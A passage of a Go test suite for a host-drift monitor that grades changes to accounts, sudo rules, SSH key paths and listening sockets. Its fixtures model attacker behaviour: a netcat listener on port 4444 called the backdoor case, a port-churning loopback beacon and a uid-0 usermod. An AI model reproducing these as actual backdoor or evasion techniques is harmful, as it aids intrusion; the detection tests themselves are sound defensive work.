// refuse the class rather than narrow it — otherwise the tail reports gone and
|
||||
// an account created after the bad line is never seen at all.
|
||||
func TestATruncatedAccountDatabaseRefusesTheClass(t *testing.T) {
|
||||
long := strings.Repeat("x", 80*1024)
|
||||
withEtc(t, map[string]string{
|
||||
"etc/passwd": "erin:x:1000:1000:" + long + ":/home/erin:/bin/bash\n" +
|
||||
"dave:x:1001:1001::/home/dave:/bin/bash\n",
|
||||
"etc/sudoers": "",
|
||||
})
|
||||
if r := identityScan(); r.Supported {
|
||||
t.Errorf("a truncated account database was compared as complete: %d accounts, reason %q",
|
||||
len(r.Accounts), r.Reason)
|
||||
}
|
||||
}
|
||||
|
||||
// M35b/M36b. identityScan is what feeds the sshd_config paths into the key
|
||||
// reader and what carries the narrowed-lookup note. Both were wired but neither
|
||||
// wiring was asserted.
|
||||
func TestIdentityScanReadsKeysWhereSshdSaysAndSaysWhenThatIsUnusual(t *testing.T) {
|
||||
root := withEtc(t, map[string]string{
|
||||
"etc/passwd": "erin:x:1000:1000::/home/erin:/bin/bash\n",
|
||||
"etc/sudoers": "",
|
||||
})
|
||||
central := filepath.Join(root, "etc/ssh/keys")
|
||||
if err := os.MkdirAll(central, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(central, "erin"),
|
||||
[]byte("ssh-ed25519 AAAAKEYBODY erin@laptop\n"), 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
withSshdConfig(t, "AuthorizedKeysFile "+central+"/%u\n")
|
||||
|
||||
r := identityScan()
|
||||
if len(r.Accounts) != 1 {
|
||||
t.Fatalf("got %d accounts", len(r.Accounts))
|
||||
}
|
||||
if r.Accounts[0].AuthKeys != 1 {
|
||||
t.Errorf("the central key store was not read: keys=%d unread=%q",
|
||||
r.Accounts[0].AuthKeys, r.Accounts[0].KeysUnread)
|
||||
}
|
||||
if !strings.Contains(r.Partial, "does not choose") {
|
||||
t.Errorf("the narrowed lookup did not reach the report: %q", r.Partial)
|
||||
}
|
||||
// No configuration text in the note, checked at the level that matters:
|
||||
// this string reaches the heartbeat.
|
||||
if strings.Contains(r.Partial, central) {
|
||||
t.Errorf("the note carries the user's sshd configuration: %q", r.Partial)
|
||||
}
|
||||
}
|
||||
|
||||
// Include is the stock Debian 12 / Ubuntu 22.04 layout, and a Match block
|
||||
// scopes what follows it to some users only.
|
||||
func TestSshdConfigIncludeIsFollowedAndMatchIsNot(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
main := filepath.Join(dir, "sshd_config")
|
||||
if err := os.MkdirAll(filepath.Join(dir, "sshd_config.d"), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(dir, "sshd_config.d", "50-keys.conf"),
|
||||
[]byte("AuthorizedKeysFile /etc/ssh/global/%u\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(main, []byte("Include "+dir+"/sshd_config.d/*.conf\nPort 22\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
old := sshdConfigPath
|
||||
sshdConfigPath = main
|
||||
t.Cleanup(func() { sshdConfigPath = old })
|
||||
|
||||
paths, note := authorizedKeysPaths()
|
||||
if len(paths) != 1 || paths[0] != "/etc/ssh/global/%u" {
|
||||
t.Fatalf("an Include drop-in was missed: %v", paths)
|
||||
}
|
||||
if note == "" {
|
||||
t.Error("a narrowed lookup from a drop-in was not said out loud")
|
||||
}
|
||||
|
||||
// A Match-scoped override is NOT the global setting, and applying it to
|
||||
// every account would be wrong in the confident direction.
|
||||
if err := os.WriteFile(main,
|
||||
[]byte("Port 22\nMatch User backup\n AuthorizedKeysFile /etc/ssh/backup/%u\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if paths, _ := authorizedKeysPaths(); len(paths) != 2 {
|
||||
t.Errorf("a Match-scoped override was applied globally: %v", paths)
|
||||
}
|
||||
}
|
||||
|
||||
// ── above the seam, but taking the event from deltaCompare ──────────────────
|
||||
|
||||
// changedAtSlot decides which entry the event carries, and every level
|
||||
// test built its deltaEvent by hand — so the event could carry the OLD entry
|
||||
// and nothing would notice. Measured: `usermod -u 0 erin`
|
||||
// graded warn instead of critical, because the event held the old uid.
|
||||
func TestTheChangedEventCarriesTheNewStateNotTheOld(t *testing.T) {
|
||||
was := []baselineEntry{baselineEntryOfIdentity(identityObs{
|
||||
Name: "erin", UID: 1000, Shell: "/bin/bash"})}
|
||||
now := []baselineEntry{baselineEntryOfIdentity(identityObs{
|
||||
Name: "erin", UID: 0, Shell: "/bin/bash"})}
|
||||
|
||||
evs := deltaCompare(was, liveList(now))
|
||||
if len(evs) != 1 {
|
||||
t.Fatalf("want one event, got %v", kindsOf(evs))
|
||||
}
|
||||
if got := identityField(evs[0].Entry, "uid"); got != "0" {
|
||||
t.Fatalf("the event carries uid %q — the OLD state", got)
|
||||
}
|
||||
// THROUGH deltaLevel, from the event deltaCompare actually built.
|
||||
if got := deltaLevel(evs[0]); got != deltaCritical {
|
||||
t.Errorf("an account moved to uid 0 levelled %q, want critical", got)
|
||||
}
|
||||
if evs[0].Was == nil || identityField(*evs[0].Was, "uid") != "1000" {
|
||||
t.Error("the event does not carry the previous state as `was`")
|
||||
}
|
||||
}
|
||||
|
||||
// The regression the `?` fix introduced: a sudo grant on an account whose
|
||||
// keys could not be read graded NOTICE, while the sentence beside it said "a
|
||||
// sudo rule now names this account". Readable properties classify first.
|
||||
func TestAReadablePropertyThatMovedBeatsAnUnreadableOne(t *testing.T) {
|
||||
was := []baselineEntry{baselineEntryOfIdentity(identityObs{
|
||||
Name: "erin", UID: 1000, Shell: "/bin/bash", Sudo: false,
|
||||
KeysUnread: "permission denied"})}
|
||||
now := []baselineEntry{baselineEntryOfIdentity(identityObs{
|
||||
Name: "erin", UID: 1000, Shell: "/bin/bash", Sudo: true,
|
||||
KeysUnread: "permission denied"})}
|
||||
|
||||
evs := deltaCompare(was, liveList(now))
|
||||
if len(evs) != 1 {
|
||||
t.Fatalf("want one event, got %v", kindsOf(evs))
|
||||
}
|
||||
if evs[0].Reason != deltaReasonSudoers {
|
||||
t.Errorf("reason = %q, want %q — the readable property is the one that moved",
|
||||
evs[0].Reason, deltaReasonSudoers)
|
||||
}
|
||||
if got := deltaLevel(evs[0]); got != deltaCritical {
|
||||
t.Errorf("a sudo grant beside an unreadable key file levelled %q, want critical", got)
|
||||
}
|
||||
// And when NOTHING readable moved, it really is a visibility change.
|
||||
same := []baselineEntry{baselineEntryOfIdentity(identityObs{
|
||||
Name: "erin", UID: 1000, Shell: "/bin/bash", Sudo: false, AuthKeys: 1, KeyDigest: "d"})}
|
||||
blind := []baselineEntry{baselineEntryOfIdentity(identityObs{
|
||||
Name: "erin", UID: 1000, Shell: "/bin/bash", Sudo: false, KeysUnread: "denied"})}
|
||||
evs = deltaCompare(same, liveList(blind))
|
||||
if len(evs) != 1 || evs[0].Reason != deltaReasonUnreadable || deltaLevel(evs[0]) != deltaNotice {
|
||||
t.Errorf("a pure visibility change gave %v reason=%q level=%q",
|
||||
kindsOf(evs), evs[0].Reason, deltaLevel(evs[0]))
|
||||
}
|
||||
}
|
||||
|
||||
// identitySudo mapped `?` to false and the level table read it
|
||||
// directly, so an account arriving with sudo on a box with unreadable rules
|
||||
// graded high — or WARN at a service uid, which an attacker picks freely.
|
||||
func TestUnknownSudoDoesNotReadAsNoSudo(t *testing.T) {
|
||||
unknown := baselineEntryOfIdentity(identityObs{
|
||||
Name: "svc", UID: 114, Shell: "/bin/bash", SudoUnknown: true})
|
||||
if _, known := unknown.identitySudo(); known {
|
||||
t.Error("`?` reads as a known sudo answer")
|
||||
}
|
||||
if got := deltaLevel(deltaEvent{Kind: deltaIdentityNew, Entry: unknown}); got != deltaHigh {
|
||||
t.Errorf("a new account with unreadable sudo levelled %q — unknown must not "+
|
||||
"earn the service-account demotion", got)
|
||||
}
|
||||
// The same account with rules readable and no sudo IS the ordinary case.
|
||||
known := baselineEntryOfIdentity(identityObs{Name: "svc", UID: 114, Shell: "/bin/bash"})
|
||||
if got := deltaLevel(deltaEvent{Kind: deltaIdentityNew, Entry: known}); got != deltaWarn {
|
||||
t.Errorf("an ordinary service account levelled %q, want warn", got)
|
||||
}
|
||||
}
|
||||
|
||||
// listenerMovedFrom must match on the HOLDER, or a different program
|
||||
// taking a dead service's port at a new address gets the re-address demotion.
|
||||
func TestADifferentProgramAtANewAddressIsNotARaAddressing(t *testing.T) {
|
||||
was, _ := baselineFromListeners([]listenSocket{sock("tcp", "10.0.0.5", 8080, "app", 5)})
|
||||
now, _ := baselineFromListeners([]listenSocket{sock("tcp", "10.0.0.9", 8080, "evil", 9)})
|
||||
for _, e := range deltaCompare(was, liveList(now)) {
|
||||
if e.Kind == deltaListenerNew && e.Reason == deltaReasonAddressMoved {
|
||||
t.Fatal("a different program at a new address was written off as a re-addressing")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Binding every interface instead of one is an exposure increase by the
|
||||
// same argument loopback→routable is.
|
||||
func TestMovingToTheWildcardIsNotARaAddressing(t *testing.T) {
|
||||
was, _ := baselineFromListeners([]listenSocket{sock("tcp", "10.0.0.5", 9000, "app", 5)})
|
||||
now, _ := baselineFromListeners([]listenSocket{sock("tcp", "0.0.0.0", 9000, "app", 5)})
|
||||
var sawHigh bool
|
||||
for _, e := range deltaCompare(was, liveList(now)) {
|
||||
if e.Kind != deltaListenerNew {
|
||||
continue
|
||||
}
|
||||
if e.Reason == deltaReasonAddressMoved {
|
||||
t.Error("one interface → all interfaces was written off as a re-addressing")
|
||||
}
|
||||
if deltaLevel(e) == deltaHigh {
|
||||
sawHigh = true
|
||||
}
|
||||
}
|
||||
if !sawHigh {
|
||||
t.Error("a service that began binding every interface did not produce a high")
|
||||
}
|
||||
}
|
||||
|
||||
// A re-addressing is ONE event. It used to be a gone at the old address
|
||||
// and a new at the other — the correlate-by-eye shape the slot design exists
|
||||
// to avoid, produced by the branch added to avoid it.
|
||||
func TestARaAddressingIsOneEventNotAPair(t *testing.T) {
|
||||
was, _ := baselineFromListeners([]listenSocket{sock("tcp", "192.168.1.5", 8080, "app", 5)})
|
||||
now, _ := baselineFromListeners([]listenSocket{sock("tcp", "192.168.9.9", 8080, "app", 5)})
|
||||
evs := deltaCompare(was, liveList(now))
|
||||
if len(evs) != 1 {
|
||||
t.Fatalf("a re-addressing produced %d events (%v) — it must be one", len(evs), kindsOf(evs))
|
||||
}
|
||||
if evs[0].Was == nil || evs[0].Was.Unit != "tcp/192.168.1.5:8080" {
|
||||
t.Error("the single event does not carry where the listener moved from")
|
||||
}
|
||||
}
|
||||
|
||||
// The login-shell regrade, which nothing guarded before.
|
||||
func TestChangingBetweenTwoLoginShellsIsOrdinary(t *testing.T) {
|
||||
was := []baselineEntry{baselineEntryOfIdentity(identityObs{
|
||||
Name: "erin", UID: 1000, Shell: "/bin/bash"})}
|
||||
now := []baselineEntry{baselineEntryOfIdentity(identityObs{
|
||||
Name: "erin", UID: 1000, Shell: "/usr/bin/zsh"})}
|
||||
evs := deltaCompare(was, liveList(now))
|
||||
if len(evs) != 1 || evs[0].Reason != deltaReasonShell {
|
||||
t.Fatalf("want one shell change, got %v", kindsOf(evs))
|
||||
}
|
||||
if got := deltaLevel(evs[0]); got != deltaWarn {
|
||||
t.Errorf("chsh between two login shells levelled %q, want warn", got)
|
||||
}
|
||||
}
|
||||
|
||||
// The class-specific sentences, which a mutation could revert and
|
||||
// leave identities printing their raw state blob as the subject.
|
||||
func TestEachClassRendersItsOwnSentence(t *testing.T) {
|
||||
id := baselineEntryOfIdentity(identityObs{Name: "intern", UID: 1010, Shell: "/bin/bash", Sudo: true})
|
||||
line := deltaOneLine(deltaEvent{Kind: deltaIdentityNew, Entry: id})
|
||||
if strings.Contains(line, "keydigest=") || strings.Contains(line, "shell=/bin/bash;") {
|
||||
t.Errorf("an identity prints its raw fingerprinted state: %q", line)
|
||||
}
|
||||
if !strings.HasPrefix(line, "account intern") {
|
||||
t.Errorf("an identity does not read as an account: %q", line)
|
||||
}
|
||||
|
||||
lis, _ := baselineFromListeners([]listenSocket{sock("tcp", "0.0.0.0", 4444, "nc", 7)})
|
||||
line = deltaOneLine(deltaEvent{Kind: deltaListenerNew, Entry: lis[0]})
|
||||
if !strings.HasPrefix(line, "listening on tcp/0.0.0.0:4444") || !strings.Contains(line, "nc") {
|
||||
t.Errorf("a listener does not read as a bind point: %q", line)
|
||||
}
|
||||
}
|
||||
|
||||
// THE NOISE MEASURED ON A DEVELOPER'S MACHINE: a `go test` run
|
||||
// produced two listener_new warns on ephemeral loopback ports, held by a test
|
||||
// binary that had already been reported as a proc_new. Same event twice, and on
|
||||
// a person's own computer that is most of what this class would ever say.
|
||||
func TestAnEphemeralLoopbackListenerWaitsOnePass(t *testing.T) {
|
||||
young := func(int) (time.Duration, bool) { return time.Second, true }
|
||||
mk := func(addr string, port int) deltaEvent {
|
||||
e, _ := baselineFromListeners([]listenSocket{sock("tcp", addr, port, "go-test", 7)})
|
||||
return deltaEvent{Kind: deltaListenerNew, Entry: e[0], PIDs: []int{7}}
|
||||
}
|
||||
n := deltaNoise{Age: young}
|
||||
|
||||
if _, held := n.ephemeralLoopbackListener(mk("127.0.0.1", 41579)); !held {
|
||||
t.Error("an ephemeral loopback port from a one-second-old process was reported immediately")
|
||||
}
|
||||
// EVERY CONDITION IS LOAD-BEARING — drop any one and it must report.
|
||||
if _, held := n.ephemeralLoopbackListener(mk("0.0.0.0", 41579)); held {
|
||||
t.Error("a ROUTABLE ephemeral port was held back")
|
||||
}
|
||||
if _, held := n.ephemeralLoopbackListener(mk("127.0.0.1", 4444)); held {
|
||||
t.Error("a loopback port BELOW the ephemeral range was held back — 4444 is the backdoor case")
|
||||
}
|
||||
old := deltaNoise{Age: func(int) (time.Duration, bool) { return time.Hour, true }}
|
||||
if _, held := old.ephemeralLoopbackListener(mk("127.0.0.1", 41579)); held {
|
||||
t.Error("a listener held by an HOUR-OLD process was held back")
|
||||
}
|
||||
// An age this platform cannot read is not a young one.
|
||||
blind := deltaNoise{Age: func(int) (time.Duration, bool) { return 0, false }}
|
||||
if _, held := blind.ephemeralLoopbackListener(mk("127.0.0.1", 41579)); held {
|
||||
t.Error("the rule fired where the process age could not be read")
|
||||
}
|
||||
// And it goes through shortLived, which is what the filter actually calls.
|
||||
if held, why := n.shortLived(mk("127.0.0.1", 41579)); !held || why == "" {
|
||||
t.Errorf("shortLived did not hold the ephemeral listener: held=%v why=%q", held, why)
|
||||
}
|
||||
if held, _ := n.shortLived(mk("0.0.0.0", 4444)); held {
|
||||
t.Error("shortLived held back a routable backdoor port")
|
||||
}
|
||||
}
|
||||
|
||||
// THE HOLD HAS A CEILING, AND IT IS INHERITED RATHER THAN RE-IMPLEMENTED.
|
||||
//
|
||||
// A beacon that reopens a loopback ephemeral port every 50s is young at EVERY
|
||||
// pass, so a hold without a ceiling hides it for ever — the exact defect
|
||||
// deltanoise.go:110-119 documents for the process path ("ten passes, no finding
|
||||
// and a storm counter reading zero"). The listener rule lives INSIDE
|
||||
// shortLived, so deltaFilter's ceiling applies to it by construction. That is
|
||||
// the kind of claim that is true until someone moves the rule, so it is pinned.
|
||||
func TestARespawningEphemeralListenerEscapesTheHold(t *testing.T) {
|
||||
e, _ := baselineFromListeners([]listenSocket{sock("tcp", "127.0.0.1", 41579, "beacon", 7)})
|
||||
ev := deltaEvent{Kind: deltaListenerNew, Entry: e[0], PIDs: []int{7}}
|
||||
n := deltaNoise{Age: func(int) (time.Duration, bool) { return time.Second, true }}
|
||||
|
||||
// First pass: held, not reported.
|
||||
st := freshState(t)
|
||||
now := time.Now()
|
||||
f, filtered := deltaFilter([]deltaEvent{ev}, n, st, now)
|
||||
if len(f) != 0 || len(filtered) != 1 {
|
||||
t.Fatalf("first pass: findings=%d filtered=%d, want 0/1", len(f), len(filtered))
|
||||
}
|
||||
|
||||
// Still young a pass later — still held.
|
||||
f, _ = deltaFilter([]deltaEvent{ev}, n, st, now.Add(time.Minute))
|
||||
if len(f) != 0 {
|
||||
t.Fatalf("a listener held for one minute already escaped: %d findings", len(f))
|
||||
}
|
||||
|
||||
// PAST THE CEILING it becomes a finding, and the evidence says why.
|
||||
f, _ = deltaFilter([]deltaEvent{ev}, n, st, now.Add(deltaHoldMax+time.Second))
|
||||
if len(f) != 1 {
|
||||
t.Fatalf("a listener young at every pass for %v was still held — it is invisible forever",
|
||||
deltaHoldMax)
|
||||
}
|
||||
var said bool
|
||||
for _, x := range f[0].Evidence {
|
||||
if x.Signal == "respawning" {
|
||||
said = true
|
||||
}
|
||||
}
|
||||
if !said {
|
||||
t.Error("the escape carries no evidence explaining why it is now a finding")
|
||||
}
|
||||
}
|
||||
|
||||
// THE FLOOR REACHES THE RULE, which is the claim that matters and the one the
|
||||
// first two versions of this test did not make.
|
||||
//
|
||||
// v1 compared the value against this box's sysctl — 32768, identical to the
|
||||
// fallback, so hardcoding it left the suite green. v2 tested readEphemeralFloor
|
||||
// with a fixture but the RULE read a package var computed at program start, so
|
||||
// hardcoding THAT left the suite green too. Both were guards that could not
|
||||
// fail on the machine they ran on. This drives ephemeralLoopbackListener with a
|
||||
// narrowed range and asserts the behaviour changes.
|
||||
func TestTheEphemeralFloorReachesTheRule(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
p := filepath.Join(dir, "range")
|
||||
old := ephemeralRangePath
|
||||
ephemeralRangePath = p
|
||||
t.Cleanup(func() { ephemeralRangePath = old })
|
||||
|
||||
e, _ := baselineFromListeners([]listenSocket{sock("tcp", "127.0.0.1", 40000, "thing", 7)})
|
||||
ev := deltaEvent{Kind: deltaListenerNew, Entry: e[0], PIDs: []int{7}}
|
||||
n := deltaNoise{Age: func(int) (time.Duration, bool) { return time.Second, true }}
|
||||
|
||||
// Stock range: 40000 IS ephemeral, so a young loopback holder is held.
|
||||
if err := os.WriteFile(p, []byte("32768\t60999\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, held := n.ephemeralLoopbackListener(ev); !held {
|
||||
t.Error("port 40000 was not treated as ephemeral under the stock range")
|
||||
}
|
||||
// NARROWED range: 40000 is an ordinary service port on that box and must be
|
||||
// reported. This is the case a hardcoded floor gets wrong.
|
||||
if err := os.WriteFile(p, []byte("49152\t60999\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, held := n.ephemeralLoopbackListener(ev); held {
|
||||
t.Error("a real service port was held back because the floor ignored the kernel")
|
||||
}
|
||||
}
|
||||
|
||||
// THE NOTE HAS TO REACH THE PASS, and nothing tested that it did — the
|
||||
// first test stopped at deltaCollectLive and checked sight.Notes, which is the
|
||||
// value the test supplied, one seam above the line that publishes it. A mutation
|
||||
// deleting the publish left the suite green, which is exactly the shape this
|
||||
// whole file exists for.
|
||||
//
|
||||
// This drives deltaPass itself and reads r.Notes, so the wiring is what is
|
||||
// asserted rather than the fixture.
|
||||
func TestThePassPublishesWhatTheReadersCouldNotSee(t *testing.T) {
|
||||
isolateConfigDir(t)
|
||||
if !processIsRoot() {
|
||||
t.Skip("the pass refuses without machine authority, which is its own test")
|
||||
}
|
||||
oI, oL := deltaIdentityReader, deltaListenerReader
|
||||
deltaIdentityReader = func() identityScanReport {
|
||||
return identityScanReport{Supported: true,
|
||||
Partial: "sudo rules not readable: /etc/sudoers",
|
||||
Accounts: []identityObs{{Name: "erin", UID: 1000, Shell: "/bin/bash", SudoUnknown: true}}}
|
||||
}
|
||||
deltaListenerReader = func() ([]listenSocket, bool, string) { return nil, false, "no ss" }
|
||||
t.Cleanup(func() { deltaIdentityReader, deltaListenerReader = oI, oL })
|
||||
|
||||
// An accounting that covers both classes, so the identity half is compared
|
||||
// (narrowed, not blind) and the listener half is the one that is refused.
|
||||
if err := baselineSave(baselineFile{
|
||||
Version: baselineVersion,
|
||||
TakenAt: stamp(time.Now()),
|
||||
Coverage: baselineCoverage(true, true, true, true),
|
||||
Entries: []baselineEntry{baselineEntryOfIdentity(identityObs{Name: "erin", UID: 1000, Shell: "/bin/bash", SudoUnknown: true})},
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
r := deltaPass(&digestCache{}, time.Now(), deltaRoleOperator)
|
||||
joined := strings.Join(r.Notes, " | ")
|
||||
if !strings.Contains(joined, "sudo rules not readable") {
|
||||
t.Errorf("the reader's narrowed-class note never reached the pass: %q", joined)
|
||||
}
|
||||
// And the blind class is named too, so "no listener findings" cannot be
|
||||
// read as "this machine has no listeners".
|
||||
if !strings.Contains(joined, "listeners") {
|
||||
t.Errorf("a refused class was not named on the pass: %q", joined)
|
||||
}
|
||||
// The summary is what rides the heartbeat, and it must carry the same words.
|
||||
if !strings.Contains(r.summary().Note, "sudo rules not readable") {
|
||||
t.Errorf("the note did not reach the summary: %q", r.summary().Note)
|
||||
}
|
||||
}
|
||||
|
||||
// ── five more, each one the sentence or the guard that was hollow ─────────────
|
||||
|
||||
// The rule tested deltaShortLived (5s) while telling the operator "younger
|
||||
// than one pass", and a pass is 60s. So the words were false AND the case it was
|
||||
// added for — a `go test` run whose port is thirty seconds old when the pass
|
||||
// lands — came through anyway, suppressed only about one sighting in twelve.
|
||||
func TestTheListenerHoldIsOnePassNotFiveSeconds(t *testing.T) {
|
||||
e, _ := baselineFromListeners([]listenSocket{sock("tcp", "127.0.0.1", 41579, "go-test", 7)})
|
||||
ev := deltaEvent{Kind: deltaListenerNew, Entry: e[0], PIDs: []int{7}}
|
||||
|
||||
for _, age := range []time.Duration{time.Second, 9 * time.Second, 30 * time.Second} {
|
||||
n := deltaNoise{Age: func(int) (time.Duration, bool) { return age, true }}
|
||||
if _, held := n.ephemeralLoopbackListener(ev); !held {
|
||||
t.Errorf("a holder %v old was reported — the rule promises one pass (%v)",
|
||||
age, deltaRefreshEvery)
|
||||
}
|
||||
}
|
||||
// PAST one pass it has survived, so it reports. The hold never suppresses.
|
||||
n := deltaNoise{Age: func(int) (time.Duration, bool) { return deltaRefreshEvery + time.Second, true }}
|
||||
if _, held := n.ephemeralLoopbackListener(ev); held {
|
||||
t.Error("a holder older than one pass was still held back")
|
||||
}
|
||||
}
|
||||
|
||||
// The ceiling is keyed on the event fingerprint, and a listener's
|
||||
// fingerprint contains its BIND POINT — so a holder taking a fresh ephemeral
|
||||
// port each pass never accumulated anything. Measured: twelve
|
||||
// passes on the same port gave 2 findings, twelve on fresh ports gave ZERO,
|
||||
// indefinitely. The ceiling existed and could not fire.
|
||||
func TestAHolderThatChurnsPortsStillReachesTheCeiling(t *testing.T) {
|
||||
st := freshState(t)
|
||||
n := deltaNoise{Age: func(int) (time.Duration, bool) { return time.Second, true }}
|
||||
now := time.Now()
|
||||
|
||||
mk := func(port int) deltaEvent {
|
||||
e, _ := baselineFromListeners([]listenSocket{sock("tcp", "127.0.0.1", port, "beacon", 7)})
|
||||
return deltaEvent{Kind: deltaListenerNew, Entry: e[0], PIDs: []int{7}}
|
||||
}
|
||||
// A FRESH PORT EVERY PASS, which is what defeated the old key.
|
||||
var found int
|
||||
for i := 0; i < 12; i++ {
|
||||
f, _ := deltaFilter([]deltaEvent{mk(41000 + i)}, n, st, now.Add(time.Duration(i)*time.Minute))
|
||||
found += len(f)
|
||||
}
|
||||
if found == 0 {
|
||||
t.Fatal("a holder opening a new ephemeral port every pass was held forever — invisible")
|
||||
}
|
||||
// Two unrelated programs must not share the key and escape together.
|
||||
if a, b := deltaHoldKey(mk(41000)), deltaHoldKey(mk(42000)); a != b {
|
||||
t.Error("the same holder on two ports produced two keys — it will never accumulate")
|
||||
}
|
||||
e2, _ := baselineFromListeners([]listenSocket{sock("tcp", "127.0.0.1", 41000, "other", 9)})
|
||||
if deltaHoldKey(mk(41000)) == deltaHoldKey(deltaEvent{Kind: deltaListenerNew, Entry: e2[0]}) {
|
||||
t.Error("two different holders share a hold key")
|
||||
}
|
||||
}
|
||||
|
||||
// The floor test compared against THIS box's sysctl, which is the stock
|
||||
// 32768 — identical to the fallback — so hardcoding the floor left the entire
|
||||
// suite green. A guard that cannot fail on the machine it runs on is not a
|
||||
// guard, which is the same lesson as every other item in this file.
|
||||
func TestTheEphemeralFloorFollowsANonStockRange(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
p := filepath.Join(dir, "range")
|
||||
if err := os.WriteFile(p, []byte("49152\t60999\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
old := ephemeralRangePath
|
||||
ephemeralRangePath = p
|
||||
t.Cleanup(func() { ephemeralRangePath = old })
|
||||
|
||||
if got := readEphemeralFloor(); got != 49152 {
|
||||
t.Fatalf("a NARROWED range read as %d — ports 32768-49151 are ordinary "+
|
||||
"service ports on that box and would be held back", got)
|
||||
}
|
||||
// A widened range follows too, and garbage falls back to the stock floor
|
||||
// rather than to something that suppresses more.
|
||||
if err := os.WriteFile(p, []byte("10000 60999\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := readEphemeralFloor(); got != 10000 {
|
||||
t.Errorf("a widened range read as %d", got)
|
||||
}
|
||||
if err := os.WriteFile(p, []byte("not-a-number\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := readEphemeralFloor(); got != 32768 {
|
||||
t.Errorf("an unreadable range read as %d, want the stock floor", got)
|
||||
}
|
||||
ephemeralRangePath = filepath.Join(dir, "absent")
|
||||
if got := readEphemeralFloor(); got != 32768 {
|
||||
t.Errorf("a missing sysctl read as %d, want the stock floor", got)
|
||||
}
|
||||
}
|
||||
|
||||
// One departure excuses exactly ONE arrival. Without the claimed guard a
|
||||
// second new bind would point at the same departure and suppress an absence
|
||||
// nothing accounted for.
|
||||
func TestOneDepartureExcusesOnlyOneReAddressing(t *testing.T) {
|
||||
was, _ := baselineFromListeners([]listenSocket{sock("tcp", "10.0.0.5", 8080, "app", 5)})
|
||||
now, _ := baselineFromListeners([]listenSocket{
|
||||
sock("tcp", "10.0.0.9", 8080, "app", 5),
|
||||
sock("tcp", "10.0.0.10", 8080, "app", 6),
|
||||
})
|
||||
var readdressed, plain int
|
||||
for _, e := range deltaCompare(was, liveList(now)) {
|
||||
if e.Kind != deltaListenerNew {
|
||||
continue
|
||||
}
|
||||
if e.Reason == deltaReasonAddressMoved {
|
||||
readdressed++
|
||||
} else {
|
||||
plain++
|
||||
}
|
||||
}
|
||||
if readdressed != 1 || plain != 1 {
|
||||
t.Fatalf("one departure excused %d arrivals (and %d were genuinely new) — want 1 and 1",
|
||||
readdressed, plain)
|
||||
}
|
||||
}
|
||||
|
||||
// `%h` was substituted before `%%` was collapsed, so `%%h/.ssh/ak`
|
||||
// expanded to `/home/erin/%/home/erin/.ssh/ak` — a path that does not exist,
|
||||
// which reads as ENOENT, which reads as "this account has no keys". And `%U`
|
||||
// was not a token at all.
|
||||
func TestTheSshdTokensExpandInTheRightOrder(t *testing.T) {
|
||||
for _, c := range []struct{ pattern, want string }{
|
||||
{"%h/.ssh/ak", "/home/erin/.ssh/ak"},
|
||||
{"/etc/ssh/keys/%u", "/etc/ssh/keys/erin"},
|
||||
{"/etc/ssh/keys/%U", "/etc/ssh/keys/1000"},
|
||||
{"%%h/.ssh/ak", "/home/erin/%h/.ssh/ak"},
|
||||
{"/etc/%%/%u", "/etc/%/erin"},
|
||||
// THE CASES THAT DISCRIMINATE THE ORDER, and the first version had none
|
||||
// — so a mutation swapping %% back after the other tokens left the suite
|
||||
// green. `%%h` gives the same answer either way; `%%u` does not,
|
||||
// because collapse-last reads the `%u` at index 1 and yields `%erin`
|
||||
// where sshd means the literal `%u`.
|
||||
{"%%u", "/home/erin/%u"},
|
||||
{"/etc/ssh/%%u/keys", "/etc/ssh/%u/keys"},
|
||||
} {
|
||||
if got := authorizedKeysPath(c.pattern, "/home/erin", "erin", "1000"); got != c.want {
|
||||
t.Errorf("%q expanded to %q, want %q", c.pattern, got, c.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// THE STORM COUNTER MEASURED SOMETHING OTHER THAN WHAT IT SAYS.
|
||||
//
|
||||
// The hold was taken under deltaHoldKey and released under ev.FP. For a process
|
||||
// those are the same string, so nothing showed; for a listener they differ, so
|
||||
// the hold entry was never released by name and settleHeld swept it as
|
||||
// something that came and went. A listener STILL OPEN and being reported as a
|
||||
// finding in the same breath also bumped ShortLived — a running total no report
|
||||
// resets, which rides the heartbeat as short_lived and so drifts upward
|
||||
// permanently on a developer's machine.
|
||||
//
|
||||
// The process half is the control: both classes must behave identically here,
|
||||
// because nothing about "did this come and go" depends on what kind of thing it
|
||||
// is.
|
||||
func TestAThingStillPresentIsNotCountedAsHavingComeAndGone(t *testing.T) {
|
||||
lis, _ := baselineFromListeners([]listenSocket{sock("tcp", "127.0.0.1", 41579, "svc", 7)})
|
||||
cases := []struct {
|
||||
what string
|
||||
ev deltaEvent
|
||||
}{
|
||||
{"listener", deltaEvent{Kind: deltaListenerNew, Entry: lis[0], PIDs: []int{7}}},
|
||||
{"process", deltaEvent{Kind: deltaProcNew, FP: "fp-proc",
|
||||
Entry: procEntry("d", "root", "unit", "shape"), PIDs: []int{7}}},
|
||||
}
|
||||
for _, c := range cases {
|
||||
st := freshState(t)
|
||||
now := time.Now()
|
||||
// Sockets true and this pid not listening: the process rule refuses to
|
||||
// fire where it cannot check its own exemption, which is its own test.
|
||||
young := deltaNoise{Self: 1, Sockets: true, Listening: map[int]bool{},
|
||||
Age: func(int) (time.Duration, bool) { return time.Second, true }}
|
||||
// Pass 1: young, so held.
|
||||
